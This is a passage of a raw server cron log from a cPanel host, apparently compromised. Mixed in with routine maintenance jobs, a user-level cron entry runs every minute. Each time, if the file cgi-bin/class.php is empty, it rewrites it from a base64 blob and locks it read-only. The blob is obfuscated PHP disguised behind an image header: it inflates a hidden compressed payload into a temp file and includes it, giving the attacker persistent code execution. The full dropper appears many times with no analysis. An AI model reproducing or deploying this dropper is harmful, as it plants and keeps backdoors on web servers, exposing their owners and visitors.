IJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:41:01 server CROND[5458]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:41:01 server CROND[5459]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:41:01 server CROND[5460]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:42:01 server CROND[5944]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:42:01 server CROND[5947]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 05:42:01 server CROND[5946]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:42:01 server CROND[5945]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:43:01 server CROND[6347]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:43:01 server CROND[6348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:43:01 server CROND[6349]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:44:02 server CROND[6899]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:44:02 server CROND[6898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:44:02 server CROND[6900]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:45:01 server CROND[7354]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 05:45:01 server CROND[7355]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 05:45:01 server CROND[7356]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:45:01 server CROND[7357]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:45:01 server CROND[7358]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 05:45:01 server CROND[7359]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:45:01 server CROND[7362]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 05:46:01 server CROND[8248]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:46:01 server CROND[8249]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:46:01 server CROND[8250]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:47:01 server CROND[8733]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:47:01 server CROND[8734]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:47:01 server CROND[8735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:48:01 server CROND[9116]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:48:01 server CROND[9118]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:48:01 server CROND[9117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:49:01 server CROND[9510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:49:01 server CROND[9511]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:49:01 server CROND[9516]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:50:01 server CROND[9904]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 05:50:01 server CROND[9906]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:50:01 server CROND[9908]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 05:50:01 server CROND[9915]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 05:50:01 server CROND[9911]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:50:01 server CROND[9912]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 05:50:01 server CROND[9914]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:50:01 server CROND[9919]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 05:50:01 server CROND[9913]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 05:51:01 server CROND[10759]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:51:01 server CROND[10758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:51:01 server CROND[10760]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:52:01 server CROND[11242]: (root) CMD (/usr/local/cpanel/scripts/gather_update_log_stats --logfile /var/cpanel/updatelogs/last --upload > /dev/null 2>&1)
Sep  3 05:52:01 server CROND[11243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:52:01 server CROND[11245]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:52:01 server CROND[11244]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
